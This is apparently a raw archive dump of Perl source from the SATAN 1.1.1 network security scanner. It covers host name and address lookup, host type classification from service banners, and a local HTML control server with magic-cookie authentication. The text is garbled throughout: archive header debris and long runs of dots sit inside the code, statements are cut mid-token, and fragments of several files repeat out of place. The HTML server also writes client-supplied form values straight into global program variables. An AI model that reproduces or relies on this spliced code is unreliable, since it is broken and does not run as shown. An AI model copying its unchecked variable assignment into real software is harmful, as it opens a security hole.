  23098.             last if (($n = index(substr($frag, $[ + 1), ".") + 1 - $[) < 1);
  23099.         }
  23100.     }
  23101.  
  23102.     # Unable to fix the hostname.
  23103.     #
  23104.     return "";
  23105. }
  23106.  
  23107. #
  23108. # Some scaffolding for stand-alone testing.
  23109. #
  23110. if ($running_under_satan) {
  23111.     require 'perl/get_host.pl';
  23112. } else {
  23113.     $running_under_satan = -1;
  23114.  
  23115.     require 'perllib/getopts.pl';
  23116.     require 'perl/get_host.pl';
  23117.  
  23118.     warn "fix_hostname.pl running in test mode";
  23119.  
  23120.     $usage = "usage: fix_hostname partial_name complete_name\n";
  23121.     &Getopts("v");
  23122.  
  23123.     if ($#ARGV != 1) {
  23124. .print STDERR $usage;
  23125. .exit 1;
  23126.     }
  23127.  
  23128.     print &fix_hostname($ARGV[0], $ARGV[1]),"\n";
  23129. }
  23130.  
  23131. 1;
  23132. ($_);
  23133. .}
  23134. .&process_facts();
  23135. }
  23136.  
  23137. #
  23138. # Some scaffolsatan-1.1.1/perl/get_host.pl........................................................................   600 .   465 .   506 .       3240  5742457003  11011. .......................................................................................
  23139. .................................................................................................................................................................................................................................................................
  23140. ............require 'perl/socket.pl';
  23141.  
  23142. #  Lookup the FQDN for a host name or address with cacheing.
  23143. #
  23144. sub get_host_name {
  23145. .local($host) = @_;
  23146. .local($aliases, $type, $len, @ip, $a,$b,$c,$d);
  23147.  
  23148. .# do cache lookup first
  23149. .if (exists($host_name_cache{$host})) {
  23150. ..return($host_name_cache{$host});
  23151. ..}
  23152.  
  23153. .# if host is ip address
  23154. .if ($host =~ /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$/) {
  23155. ..($a,$b,$c,$d) = split(/\./, $host);
  23156. ..@ip = ($a,$b,$c,$d);
  23157. ..($host) = gethostbyaddr(pack("C4", @ip), &AF_INET);
  23158. ..}
  23159. .# if host is name, not ip address
  23160. .else {
  23161. ..($host, $aliases, $type, $len, @ip) = gethostbyname($host);
  23162. ..($a,$b,$c,$d) = unpack('C4',$ip[0]);
  23163. ..}
  23164.  
  23165. .# success:
  23166. .if ($host && @ip) {
  23167. ..$host =~ tr /A-Z/a-z/;
  23168. ..return $host_name_cache{$host} = $host;
  23169. ..}
  23170. .# failure:
  23171. .else {
  23172. ..return $host_name_cache{$host} = "";
  23173. ..}
  23174. .}
  23175.  
  23176. #
  23177. # Look up host address wich cacheing
  23178. #
  23179. sub get_host_addr {
  23180. .local($host) = @_;
  23181. .local($aliases, $type, $len, @ip, $a,$b,$c,$d);
  23182.  
  23183. .# do cache lookup first
  23184. .if (exists($host_addr_cache{$host})) { 
  23185. ..return($host_addr_cache{$host}); 
  23186. ..}
  23187.  
  23188. .# if host is name, not ip address
  23189. .if ($host =~ /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$/) {
  23190. ..return $host;
  23191. ..} 
  23192. .else {
  23193. ..($host, $aliases, $type, $len, @ip) = gethostbyname($host);
  23194. ..($a,$b,$c,$d) = unpack('C4',$ip[0]);
  23195. ..}
  23196.  
  23197. .# success; want IP address
  23198. .if (@ip) { 
  23199. ..return "$a.$b.$c.$d";
  23200. ..}
  23201. .# failure:
  23202. .else { 
  23203. ..return $host_addr_cache{$host} = "";
  23204. ..}
  23205. .}
  23206.  
  23207. #
  23208. # Some scaffolding code for stand-alone testing.
  23209. #
  23210. if ($running_under_satan == 0) {
  23211. .$running_under_satan = -1;
  23212.  
  23213. .warn "get_host.pl running in test mode";
  23214.  
  23215. .$host = &get_host_name($ARGV[0]); print "get_host_name: $host\n";
  23216. .$host = &get_host_addr($ARGV[0]); print "get_host_addr: $host\n";
  23217. }
  23218.  
  23219. 1;
  23220. re 'perl/infer_facts.pl';
  23221. .require 'perl/drop_fact.pl';
  23222. .require 'perl/hosttype.pl';
  23223. .require 'perl/services.pl';
  23224. .require 'perl/severities.pl';
  23225. .require 'perl/trust.pl';
  23226. } else {
  23227. .$running_under_satan = -1;
  23228. .$debug = 1;
  23229.  
  23230. .require 'perl/misc.pl';
  23231. .require 'perl/fix_hostname.pl';
  23232. .require 'perl/infer_todo.pl';
  23233. .require 'perl/infer_facts.pl';
  23234. .require satan-1.1.1/perl/getfqdn.pl.........................................................................   600 .   465 .   506 .       2147  5742457003  10632. ............................................................................................
  23235. .................................................................................................................................................................................................................................................................
  23236. .......#
  23237. # Look up a host name the hard way, using nsloookup. Don't rely on the
  23238. # gethostbyname() library routine, as there are too many broken NIS
  23239. # setups.  Return an empty string in case of errors.
  23240. #
  23241. # Stand-alone usage: getfqdn.pl hostname.
  23242. #
  23243. # version 1, Tue Mar 21 19:31:03 1995, last mod by wietse
  23244. #
  23245. require 'config/paths.pl';
  23246. require 'config/satan.cf';
  23247.  
  23248. sub getfqdn {
  23249. .local($host) = @_;
  23250. .local($result, $temp);
  23251.  
  23252. .if ($host =~ /^[0-9.]+$/) {
  23253. ..return $host unless ($temp = &get_host_name($host));
  23254. ..$host = $temp;
  23255. .}
  23256. .if ($dont_use_nslookup) {
  23257. ..return &get_host_name($host);
  23258. .}
  23259.  
  23260. .if (!exists($getfqdn_cache{$host})) {
  23261. ..open(NSLOOKUP, "$NSLOOKUP 2>/dev/null <<EOF\n$host\nEOF|") 
  23262. ...|| die "cannot run $NSLOOKUP: $!";
  23263. ..$result = "";
  23264. ..while(<NSLOOKUP>) {
  23265. ...if (/name:\s+(\S+)/i) {
  23266. ....($result = $1) =~ tr /A-Z/a-z/;
  23267. ....last;
  23268. ...}
  23269. ..}
  23270. ..close(NSLOOKUP);
  23271. ..$getfqdn_cache{$host} = $result;
  23272. .}
  23273. .return($getfqdn_cache{$host});
  23274. }
  23275.  
  23276. #
  23277. # Some scaffolding code for stand-alone testing.
  23278. #
  23279. if ($running_under_satan == 0) {
  23280. .$running_under_satan = 1;
  23281. .require 'perl/get_host.pl';
  23282. .$host = &getfqdn($ARGV[0]);
  23283. .print "$host\n";
  23284. }
  23285.  
  23286. 1;
  23287. .return $host;
  23288. ..} 
  23289. .else {
  23290. ..($host, $aliases, $type, $len, @ip) = gethostbyname($host);
  23291. ..($a,$b,$c,$d) = unpack('C4',$ip[0]);
  23292. ..}
  23293.  
  23294. .# success; want IP address
  23295. .if (@ip) { 
  23296. ..return "$a.$b.$c.$d";
  23297. ..}
  23298. .# failure:
  23299. .else { 
  23300. ..return $host_addr_cache{$host} = "";
  23301. ..}
  23302. .}
  23303.  
  23304. #
  23305. # Some scaffolding code for stand-alone testing.
  23306. #
  23307. if ($running_under_satan == 0) {
  23308. .$running_under_satan = -1;
  23309.  
  23310. .warn "get_host.pl runnsatan-1.1.1/perl/hostname.pl........................................................................   700 .   465 .   506 .       1032  5742457003  11011. ..............................................................................
  23311. .................................................................................................................................................................................................................................................................
  23312. .....................#
  23313. # file: hostname.pl
  23314. # usage: $hostname = &'hostname;
  23315. #
  23316. # purpose: get hostname -- try method until we get an answer 
  23317. #.or return "Amnesiac!"
  23318. #
  23319.  
  23320. package hostname;
  23321.  
  23322. sub main'hostname {
  23323.     if (!defined $hostname) {
  23324. .$hostname =  ( -x '/bin/hostname'     && `/bin/hostname` ) 
  23325. ..  || ( -x '/usr/ucb/hostname' && `/usr/ucb/hostname` )
  23326. ..  || ( -x '/bin/uname'        && `/bin/uname -n` )
  23327. ..  || ( -x '/usr/bin/uuname'   && `/usr/bin/uuname -l`)
  23328. ..  || 'Amnesiac! ';  # trailing space is for chop
  23329. .chop $hostname;
  23330.     }
  23331.     $hostname;
  23332. }
  23333.  
  23334. 1;
  23335. kup) {
  23336. ..return &get_host_name($host);
  23337. .}
  23338.  
  23339. .if (!exists($getfqdn_cache{$host})) {
  23340. ..open(NSLOOKUP, "$NSLOOKUP 2>/dev/null <<EOF\n$host\nEOF|") 
  23341. ...|| die "cannot run $NSLOOKUP: $!";
  23342. ..$result = "";
  23343. ..while(<NSLOOKUP>) {
  23344. ...if (/name:\s+(\S+)/i) {
  23345. ....($result = $1) =~ tr /A-Z/a-z/;
  23346. ....last;
  23347. ...}
  23348. ..}
  23349. ..close(NSLOOKUP);
  23350. ..$getfqdn_cache{$host} = $result;
  23351. .}
  23352. .return($getfqdn_cache{$host});
  23353. }
  23354.  
  23355. #
  23356. # Some scaffolding code for stand-alone testing.
  23357. #
  23358. if ($running_under_satan == 0) {
  23359. .$runnsatan-1.1.1/perl/hosttype.pl........................................................................   600 .   465 .   506 .      11302  5742457003  11072. ...............................................................................................
  23360. .................................................................................................................................................................................................................................................................
  23361. ....#
  23362. # infer_hosttype - classify host by banner, the dns HINFO record may be wrong.
  23363. # Output to: 
  23364. #
  23365. # $hosttype{$target}..operating system type per host
  23366. # $sysclass{$type}..OS class that an OS type belongs to
  23367. # $hosttype_flag..(*)
  23368. # $systype_counts{type}..number of hosts per OS type
  23369. # $systype_severities{type}.ditto, with at least one vulnerability
  23370. # $sysclass_counts{class}.number of hosts per OS class
  23371. # $sysclass_severities{class}.ditto, with at least one vulnerability
  23372. # $hosts_by_systype{type}.string with hosts per OS type
  23373. # $systypes_by_class{class}.string with OS types per OS class
  23374. #
  23375. # (*) Is reset whenever the $hosttype etc. tables are updated. To recalculate,
  23376. # invoke make_hosttype_info_flag().
  23377. #
  23378. # Standalone usage: perl hosttype.pl [satan_record_files...]
  23379.  
  23380. $hosttype_files = "rules/hosttype";
  23381. $hosttype_unknown = "unknown type";
  23382. $hosttype_notprobed = "not scanned";
  23383.  
  23384. sub build_infer_hosttype {
  23385.     local($files) = @_;
  23386.     local($type, $code, $file, $cond, $type, $class);
  23387.  
  23388.     $code = "sub infer_hosttype {\n";
  23389.     $code .= "\tlocal(\$type);\n";
  23390.     $code .= "\tif (\$service !~ /^(smtp|telnet|ftp)\$/) {\n\t\treturn;\n\t}\n";
  23391.     $class = "other";
  23392.  
  23393.     foreach $file (split(/\s+/, $files)) {
  23394. .open(RULES, $file) || die "cannot open $file: $!";
  23395. .while (<RULES>) {
  23396. .    chop;
  23397. .    while (/\\$/) {
  23398. ..chop;
  23399. ..$_ .= <RULES>;
  23400. ..chop;
  23401. .    }
  23402. .    s/#.*$//;
  23403. .    s/\s+$//;
  23404. .    next if /^$/;
  23405. .    if (/^CLASS\s+(.+)/i) {
  23406. ..$class = $1;
  23407. .    } else {
  23408. ..s/\bUNKNOWN\b/(HOSTTYPE eq "" || HOSTTYPE eq \"$hosttype_unknown\" || HOSTTYPE eq \"$hosttype_notprobed\")/;
  23409. ..s/\bHOSTTYPE\b/\$hosttype{\$target}/g;
  23410. ..s/@/\\@/g;
  23411. ..($cond, $type) = split(/\t+/, $_, 2);
  23412. ..$type = "\$1" if ($type eq "");
  23413. ..$code .= "\
  23414. .if ($cond) {
  23415. ..\$type = $type;
  23416. ..\$hosttype{\$target} = \$type; 
  23417. ..\$sysclass{\$type} = \"$class\";
  23418. ..\$hosttype_flag = 0;
  23419. ..return;
  23420. .}
  23421. ";
  23422. .    }
  23423. .}
  23424. .close(RULES);
  23425.     }
  23426.     $code .= "\t\$hosttype{\$target} = \"\"
  23427. ..if !exists(\$hosttype{\$target});\n}";
  23428.     return $code;
  23429. }
  23430.  
  23431. #
  23432. # Generate hosttype-dependent statistics.
  23433. #
  23434. sub make_hosttype_info {
  23435.     local($host, $class, $type, $count);
  23436.  
  23437.     if ($hosttype_flag > 0) {
  23438. .return;
  23439.     }
  23440.     $hosttype_flag = time();
  23441.  
  23442.     print "Rebuild host type statistics...\n" if $debug;
  23443.     &make_severity_info();
  23444.  
  23445.     %hosts_by_systype = ();
  23446.     %systypes_by_class = ();
  23447.     %systype_severities = ();
  23448.     %systype_counts = ();
  23449.     %sysclass_severities = ();
  23450.     %sysclass_counts = ();
  23451.  
  23452.     for $host (keys %all_hosts) {
  23453. .$hosttype{$host} = $hosttype_unknown 
  23454. .    if ($host && $hosttype{$host} eq "" && &get_host_time($host) > 1);
  23455. .$hosttype{$host} = $hosttype_notprobed 
  23456. .    if ($host && $hosttype{$host} eq "");
  23457.     }
  23458.     $sysclass{$hosttype_unknown} = "other";
  23459.     $sysclass{$hosttype_notprobed} = "other";
  23460.  
  23461.     for $type (sort keys %sysclass) {
  23462. .$systype_severities{$type} = 0;
  23463. .$sysclass_severities{$sysclass{$type}} = 0;
  23464.     }
  23465.     for $host (sort keys %hosttype) {
  23466. .$type = $hosttype{$host};
  23467. .if ($type eq "") {
  23468. .    $type = $hosttype{$host} = $hosttype_unknown;
  23469. .}
  23470. .if (exists($severity_host_type_info{$host})) {
  23471. .     $systype_severities{$type}++;
  23472. .}
  23473. .$hosts_by_systype{$type} .= $host . "\n";
  23474. .$systype_counts{$type}++;
  23475.     }
  23476.  
  23477.     for $type (sort keys %sysclass) {
  23478. .if (($count = $systype_counts{$type}) > 0) {
  23479. .    $class = $sysclass{$type};
  23480. .    $systypes_by_class{$class} .= $type . "\n";
  23481. .    $sysclass_counts{$class} += $count;
  23482. .    if ($systype_severities{$type}) {
  23483. ..$sysclass_severities{$class} += $systype_severities{$type};
  23484. .    }
  23485. .} else {
  23486. .    delete($sysclass{$type});
  23487. .}
  23488.     }
  23489. }
  23490.  
  23491. #
  23492. # Reset the host type tables.
  23493. #
  23494. sub clear_hosttype_info {
  23495.     %hosttype = ();
  23496.     %systype = ();
  23497.     %hosts_by_systype = ();
  23498.     %systypes_by_class = ();
  23499.     %systype_severities = ();
  23500.     %systype_counts = ();
  23501.     %sysclass_severities = ();
  23502.     %sysclass_counts = ();
  23503.     $hosttype_flag = 0;
  23504. }
  23505.  
  23506. #
  23507. # Some scaffolding for stand-alone operation
  23508. #
  23509. if ($running_under_satan) {
  23510.     eval &build_infer_hosttype($hosttype_files);
  23511.     die "error in $hosttype_files: $@" if $@;
  23512. } else {
  23513.     $running_under_satan = -1;
  23514.     $debug = 1;
  23515.  
  23516.     require 'perl/misc.pl';
  23517.  
  23518.     #
  23519.     # Generate code from rules files.
  23520.     #
  23521.     $code = &build_infer_hosttype($hosttype_files);
  23522.     print "Code generated from $hosttype_files:\n\n";
  23523.     print $code;
  23524.     eval $code; 
  23525.     die "error in $hosttype_files: $@" if $@;
  23526.  
  23527.     #
  23528.     # Apply rules.
  23529.     #
  23530.     print "\nApplying rules to all SATAN records...\n";
  23531.     while (<>) {
  23532. .chop;
  23533. .if (&satan_split($_) == 0) {
  23534. .    &infer_hosttype();
  23535. .}
  23536.     }
  23537.     &make_hosttype_info();
  23538.     for (sort keys %hosttype) {
  23539. .print "$hosttype{$_}.$_\n";
  23540.     }
  23541.     print "Host class information:\n";
  23542.     for $class (sort keys %systypes_by_class) {
  23543. .print "$class.";
  23544. .print join('.', split(/\n/, $systypes_by_class{$class}));
  23545. .print "\n";
  23546.     }
  23547. }
  23548.  
  23549. 1;
  23550.  
  23551. #
  23552. # Standalone usage: perl hosttype.pl [satan_record_files...]
  23553.  
  23554. $hosttype_files = "rules/hosttype";
  23555. $hosttype_unknown = "unknown type";
  23556. $hosttype_notprobed = "not scanned";
  23557.  
  23558. sub build_infer_hosttype {
  23559.     local($files) = @_;
  23560.     local($type, $code, $file, $cond, $type, $class);
  23561.  
  23562.     $code = "sub infer_hosttype {\satan-1.1.1/perl/html.pl............................................................................   700 .   465 .   506 .      24204  5742520506  10164. ...................................................................
  23563. .................................................................................................................................................................................................................................................................
  23564. ................................#!/usr/local/bin/perl5
  23565. #
  23566. # version 1, Thu Mar 23 21:53:31 1995, last mod by wietse
  23567. #
  23568.  
  23569. #
  23570. # Run an off-the-shelf HTML client against a dedicated HTML server.  The
  23571. # server executes PERL files that are specified in HTML requests.
  23572. #
  23573. # Authentication is magic-cookie style via the file system.  This should
  23574. # be good enough: the client-server conversation never goes over the
  23575. # network so the magic cookie cannot be stolen by a network sniffer.
  23576. # Values in POST attribute-value lists are assigned to the corresponding
  23577. # global PERL variables.  See &process_html_request() for details.
  23578. #
  23579.  
  23580. sub html {
  23581. .local($helper, $wd, $host);
  23582.  
  23583. .#
  23584. .# Start the HTML server and generate the initial cookie for
  23585. .# client-server authentication.
  23586. .#
  23587. .$running_from_html = 1;
  23588. .chmod 0700, <~/.mosaic*>;.# Yuck!
  23589. .chmod 0700, <~/.netsca*>;.# Yuck!
  23590. .chmod 0700, <~/.MCOM*>;..# Yuck!
  23591. .&start_html_server();
  23592. .&make_password_seed();
  23593.  
  23594. .#
  23595. .# These strings are used in, among others, PERL-to-HTML scripts.
  23596. .#
  23597. .$wd = `pwd`;
  23598. .chop $wd;
  23599. .$html_root = "$wd/html";
  23600. .$start_page = "satan.html";
  23601. .$THIS_HOST = &getfqdn(&hostname());
  23602. .die "Can't find my own hostname: set \$dont_use_nslookup in $SATAN_CF\n"
  23603. .    unless $THIS_HOST;
  23604. .$HTML_ROOT = "file://localhost$html_root";
  23605. .$HTML_SERVER = "http://$THIS_HOST:$html_port/$html_password/$html_root";
  23606. .$HTML_STARTPAGE = "$HTML_ROOT/$start_page";
  23607.  
  23608. .#
  23609. .# Some obscurity. The real security comes from magic cookies.
  23610. .#
  23611. .$html_client_addresses = find_all_addresses($THIS_HOST) ||
  23612. ..die "Unable to find all my network addresses\n";
  23613.  
  23614. .for (<$html_root/*.pl>) {
  23615. .    s/\.pl$//;
  23616. .    unlink "$_.html";
  23617. .    open(HTML, ">$_.html")
  23618. ..    || die "cannot write $_.html: $!\n";
  23619. .    select HTML;
  23620. .    do "$_.pl";
  23621. .    close HTML;
  23622. .    select STDOUT;
  23623. .    die $@ if $@;
  23624. .}
  23625.  
  23626. .#
  23627. .# Fork off the HTML client, and fork off a server process that
  23628. .# handles requests from that client. The parent process waits
  23629. .# until the client exits and terminates the server.
  23630. .#
  23631. .print "Starting $MOSAIC...\n" if $debug;
  23632.  
  23633. .if (($client = fork()) == 0) {
  23634. ..foreach (keys %ENV) {
  23635. ...delete $ENV{$_} if (/proxy/i && !/no_proxy/i);
  23636. ..}
  23637. ..exec($MOSAIC, "$HTML_STARTPAGE") 
  23638. ...|| die "cannot exec $MOSAIC: $!";
  23639. .} 
  23640. .if (($server = fork()) == 0) {
  23641. ..if (($helper = fork()) == 0) {
  23642. ...alarm 3600;
  23643. ...&patience();
  23644. ..}
  23645. ..&init_satan_data();
  23646. ..&read_satan_data() unless defined($opt_i);
  23647. ..kill 'TERM',$helper;
  23648. ..$SIG{'PIPE'} = 'IGNORE';
  23649. ..for (;;) {
  23650. ...accept(CLIENT, SOCK) || die "accept: $!";
  23651. ...select((select(CLIENT), $| = 1)[0]);
  23652. ...&process_html_request();
  23653. ...close(CLIENT);
  23654. ..}
  23655. .}
  23656.  
  23657. .#
  23658. .# Wait until the client terminates, then terminate the server.
  23659. .#
  23660. .close(SOCK);
  23661. .waitpid($client, 0);
  23662. .kill('TERM', $server);
  23663. .exit;
  23664. }
  23665.  
  23666. #
  23667. # Compute a hard to predict number for client-server authentication. Exploit
  23668. # UNIX parallelism to improve unpredictability. We use MD5 only to compress
  23669. # the result.
  23670. #
  23671. sub make_password_seed {
  23672. .local($command);
  23673.  
  23674. .die "Cannot find $MD5. Did you run a \"reconfig\" and \"make\"?\n"
  23675. ..unless -x "$MD5";
  23676. .$command = "ps axl&ps -el&netstat -na&netstat -s&ls -lLRt /dev*&w";
  23677. .open(SEED, "($command) 2>/dev/null | $MD5 |")
  23678. ..|| die "cannot run password command: $!";
  23679. .($html_password = <SEED>) || die "password computation failed: $!";
  23680. .close(SEED);
  23681. .chop($html_password);
  23682. }
  23683.  
  23684. #
  23685. # Set up a listener on an arbitrary port. There is no good reason to
  23686. # listen on a well-known port number.
  23687. #
  23688. sub start_html_server {
  23689. .local($sockaddr, $proto, $junk);
  23690.  
  23691. .$sockaddr = 'S n a4 x8';
  23692. .($junk, $junk, $proto) = getprotobyname('tcp');
  23693. .socket(SOCK, &AF_INET, &SOCK_STREAM, $proto) || die "socket: $!";
  23694. .listen(SOCK, 1) || die "listen: $!";
  23695. .($junk, $html_port) = unpack($sockaddr, getsockname(SOCK));
  23696. }
  23697.  
  23698. #
  23699. # Process one client request.  We expect the client to send stuff that
  23700. # begins with:
  23701. #
  23702. #.command /password/perl_script junk
  23703. #
  23704. # Where perl_script is the name of a perl file that is executed via
  23705. # do "perl_script";
  23706. #
  23707. # In case of a POST command the values in the client's attribute-value
  23708. # list are assigned to the corresponding global PERL variables.
  23709. #
  23710. sub process_html_request {
  23711. .local($request, $command, $script, $magic, $url, $peer);
  23712. .local(%args);
  23713.  
  23714. .#
  23715. .# Parse the command and URL. Update the default file prefix.
  23716. .#
  23717. .$request = <CLIENT>;
  23718. .print $request if $debug;
  23719. .($command, $url) = split(/\s+/, $request);
  23720. .if ($command eq "" || $command eq "QUIT") {
  23721. ..return;
  23722. .}
  23723.  
  23724. .($junk, $magic, $script) = split(/\//, $url, 3);
  23725. .($script, $html_script_args) = split(',', $script, 2);
  23726. .($HTML_CWD = "file:$script") =~ s/\/[^\/]*$//;
  23727.  
  23728. .#
  23729. .# Make sure they gave us the right magic number.
  23730. .#
  23731. .if ($magic ne $html_password) {
  23732. ..&bad_html_magic($request);
  23733. ..return;
  23734. .}
  23735.  
  23736. .#
  23737. .# Assume the password has leaked out when the following happens.
  23738. .#
  23739. .$peer = &get_peer_addr(CLIENT);
  23740. .die "SATAN password from unauthorized client: $peer\n"
  23741. ..unless is_member_of($peer, $html_client_addresses);
  23742. .die "Illegal URL: $url received from: $peer\n" 
  23743. ..if index($script, "..") >= $[
  23744. ..|| index($script, "$html_root/") != $[
  23745. ..|| $script !~ /\.pl$/;
  23746.  
  23747. .#
  23748. .# Warn them when the browser leaks parent URLs to web servers.
  23749. .#
  23750. .while (<CLIENT>) {
  23751. ..if (!$cookie_leak_warning && /$html_password/) {
  23752. ...&cookie_leak_warning();
  23753. ...return;
  23754. ..}
  23755. ..last if (/^\s+$/);
  23756. .}
  23757.  
  23758. .if ($command eq "GET") {
  23759. ..perl_html_script($script);
  23760. .} elsif ($command eq "POST") {
  23761.  
  23762. ..#
  23763. ..# Process the attribute-value list.
  23764. ..#
  23765. ..if ($_ = <CLIENT>) {
  23766. ...s/\s+$//;
  23767. ...s/^/\n/;
  23768. ...s/&/\n/g;
  23769. ...$html_post_attributes = '';
  23770. ...$* = 1;
  23771. ...for (split(/(%[0-9][0-9A-Z])/, $_)) {
  23772. ....$html_post_attributes .= (/%([0-9][0-9A-Z])/) ? 
  23773. .....pack('c',hex($1)) : $_;
  23774. ...}
  23775. ...%args = ('_junk_', split(/\n([^=]+)=/, $html_post_attributes));
  23776. ...delete $args{'_junk_'};
  23777. ...for (keys %args) {
  23778. ....print "\$$_ = $args{$_}\n" if $debug;
  23779. ....${$_} = $args{$_};
  23780. ...}
  23781. ...perl_html_script($script);
  23782. ..} else {
  23783. ...&bad_html_form($script);
  23784. ..}
  23785. .} else {
  23786. ..&bad_html_command($request);
  23787. .}
  23788. }
  23789.  
  23790.  
  23791. #
  23792. # Map IP to string.
  23793. #
  23794. sub inet_ntoa {
  23795. .local($ip) = @_;
  23796. .local($a, $b, $c, $d);
  23797.  
  23798. .($a, $b, $c, $d) = unpack('C4', $ip);
  23799. .return "$a.$b.$c.$d";
  23800. }
  23801.  
  23802. #
  23803. # Look up peer address and translate to string form.
  23804. #
  23805. sub get_peer_addr {
  23806. .local($peer) = @_;
  23807. .local($junk, $inet);
  23808.  
  23809. .($junk, $junk, $inet) = unpack('S n a4', getpeername($peer));
  23810. .return &inet_ntoa($inet);
  23811. }
  23812.  
  23813. #
  23814. # Wrong magic number.
  23815. #
  23816. sub bad_html_magic {
  23817. .local($request) = @_;
  23818. .local($peer);
  23819.  
  23820. .$peer = &get_peer_addr(CLIENT);
  23821. .print STDERR "bad request from $peer: $request\n";
  23822.  
  23823.         print CLIENT <<EOF
  23824. <HTML>
  23825. <HEAD>
  23826. <TITLE>Bad client authentication code</TITLE>
  23827. <LINK REV="made" HREF="mailto:satan\@fish.com">
  23828. </HEAD>
  23829. <BODY>
  23830. <H1>Bad client authentication code</H1>
  23831. The command: <TT>$request</TT> was not properly authenticated.
  23832. </BODY>
  23833. </HTML>
  23834. EOF
  23835. }
  23836.  
  23837. #
  23838. # Unexpected HTML command.
  23839. #
  23840. sub bad_html_command {
  23841. .local($request) = @_;
  23842.  
  23843. .print CLIENT <<EOF
  23844. <HTML>
  23845. <HEAD>
  23846. <TITLE>Unknown command</TITLE>
  23847. <LINK REV="made" HREF="mailto:satan\@fish.com">
  23848. </HEAD>
  23849. <BODY>
  23850. <H1>Unknown command</H1>
  23851. The command <TT>$request<TT> was not recognized.
  23852. </BODY>
  23853. </HTML>
  23854. EOF
  23855. }
  23856.  
  23857. #
  23858. # Execute PERL script with extreme prejudice.
  23859. #
  23860. sub perl_html_script {
  23861. .local($script) = @_;
  23862.  
  23863. .if (! -e $script) {
  23864. ..print CLIENT <<EOF
  23865. <HTML>
  23866. <HEAD>
  23867. <TITLE>File not found</TITLE>
  23868. <LINK REV="made" HREF="mailto:satan\@fish.com">
  23869. </HEAD>
  23870. <BODY>
  23871. <H1>File not found</H1>
  23872. The file <TT>$script</TT> does not exist or is not accessible.
  23873. </BODY>
  23874. </HTML>
  23875. EOF
  23876. ;..return;
  23877. .}
  23878. .do $script;
  23879. .if ($@ && ($@ ne "\n")) {
  23880. ..print CLIENT <<EOF
  23881. <HTML>
  23882. <HEAD>
  23883. <TITLE>Command failed</TITLE>
  23884. <LINK REV="made" HREF="mailto:satan\@fish.com">
  23885. </HEAD>
  23886. <BODY>
  23887. <H1>Command failed</H1>
  23888. $@
  23889. </BODY>
  23890. </HTML>
  23891. EOF
  23892. .}
  23893. }
  23894.  
  23895. #
  23896. # Missing attribute list
  23897. #
  23898. sub bad_html_form {
  23899. .local($script) = @_;
  23900.  
  23901. .print CLIENT <<EOF
  23902. <HTML>
  23903. <HEAD>
  23904. <TITLE>No attribute list</TITLE>
  23905. <LINK REV="made" HREF="mailto:satan\@fish.com">
  23906. </HEAD>
  23907. <BODY>
  23908. <H1>No attribute list</H1>
  23909.  
  23910. No attribute list was found.
  23911. </BODY>
  23912. </HTML>
  23913. EOF
  23914. }
  23915.  
  23916. #
  23917. # Scaffolding for stand-alone testing.
  23918. #
  23919. if ($running_under_satan == 1) {
  23920.  
  23921. .require 'perl/socket.pl';
  23922. .require 'config/paths.pl';
  23923. .require 'perl/hostname.pl';
  23924. .require 'perl/getfqdn.pl';
  23925. .require 'config/satan.cf';
  23926.  
  23927. } else {
  23928. .$running_under_satan = 1;
  23929.  
  23930. .require 'perl/socket.pl';
  23931. .require 'config/paths.pl';
  23932. .require 'perl/hostname.pl';
  23933. .require 'perl/getfqdn.pl';
  23934. .require 'config/satan.cf';
  23935.  
  23936. .&html();
  23937. }
  23938.  
  23939. #
  23940. # Give them something to read while the server is initializing.
  23941. #
  23942. sub patience {
  23943. .for (;;) {
  23944. ..accept(CLIENT, SOCK) || die "accept: $!";
  23945. ..<CLIENT>;
  23946. ..print CLIENT <<EOF
  23947. <HTML>
  23948. <HEAD>
  23949. <TITLE>Initialization in progress</TITLE>
  23950. <LINK REV="made" HREF="mailto:satan\@fish.com">
  23951. </HEAD>
  23952. <BODY>
  23953. <H1>Initialization in progress</H1>
  23954. SATAN is initializing, please try again later.
  23955. </BODY>
  23956. </HTML>
  23957. EOF
  23958. ;
  23959. ..close(CLIENT);
  23960. .}
  23961. }
  23962.  
  23963. # Look up all IP addresses listed for this host name, so that we can
  23964. # filter out requests from non-local clients. Doing so offers no real
  23965. # security, because network address information can be subverted.
  23966. # All client-server communication security comes from the magic cookies
  23967. # that are generated at program startup time. Client address filtering
  23968. # adds an additional barrier in case the cookie somehow leaks out.
  23969.  
  23970. sub find_all_addresses {
  23971. .local($host) = @_;
  23972. .local($junk, $result);
  23973.  
  23974. .($junk, $junk, $junk, $junk, @all_addresses) = gethostbyname($host);
  23975. .for (@all_addresses) { $result .= &inet_ntoa($_) . " "; }
  23976. .return $result;
  23977. }
  23978.  
  23979. sub is_member_of {
  23980. .local($elem, $list) = @_;
  23981.  
  23982. .for (split(/\s+/, $list)) { return 1 if ($elem eq $_); }
  23983. .return 0;
  23984. }
  23985.  
  23986. sub cookie_leak_warning {
  23987. .print CLIENT <<EOF;
  23988. <HTML>
  23989. <HEAD>
  23990. <TITLE>Warning - SATAN Password Disclosure</TITLE>
  23991. <LINK REV="made" HREF="mailto:satan\@fish.com">
  23992. </HEAD>
  23993. <BODY>
  23994. <H1><IMG SRC="$HTML_ROOT/images/satan.gif" ALT="[SATAN Image]">
  23995. Warning - SATAN Password Disclosure</H1>
  23996.  
  23997. <HR>
  23998.  
  23999. <H3> 
  24000.  
  24001. Your Hypertext viewer may reveal confidential information when you
  24002. contact remote WWW servers from within SATAN.
  24003.  
  24004. <p>
  24005.  
  24006. For this reason, SATAN advises you to not contact other WWW servers
  24007. from within SATAN.
  24008.  
  24009. <p>
  24010.  
  24011. For more information, see <a
  24012. href="$HTML_ROOT/tutorials/vulnerability/SATAN_password_disclosure.html">the
  24013. SATAN vulnerability tutorial</a>.
  24014.  
  24015. <p>
  24016.  
  24017. This message will appear only once per SATAN session. 
  24018.  
  24019. <p>
  24020.  
  24021. In order to proceed, send a <i>reload</i> command (Ctrl-R with Lynx),
  24022. or go back to the previous screen and select the same link or button
  24023. again.
  24024.  
  24025. </H3>
  24026.  
  24027. </BODY>
  24028. </HTML>
  24029. EOF
  24030. .$cookie_leak_warning = 1;
  24031. }
  24032.  
  24033. 1;
  24034.  bad_html_magic {
  24035. .local($request) = @_;
  24036. .local($peer);
  24037.  
  24038. .$peer = &get_peer_addr(CLIENT);
  24039. .print STDERR "bad request from $peer: $request\n";
  24040.  
  24041.         print CLIENT <<EOF
  24042. <HTML>
  24043. <HEAD>
  24044. <TITLE>Bad client authentication code</TITLE>
  24045. <LINK REV="made" HREF="mailto:satan\@fish.com">
  24046. </HEAD>
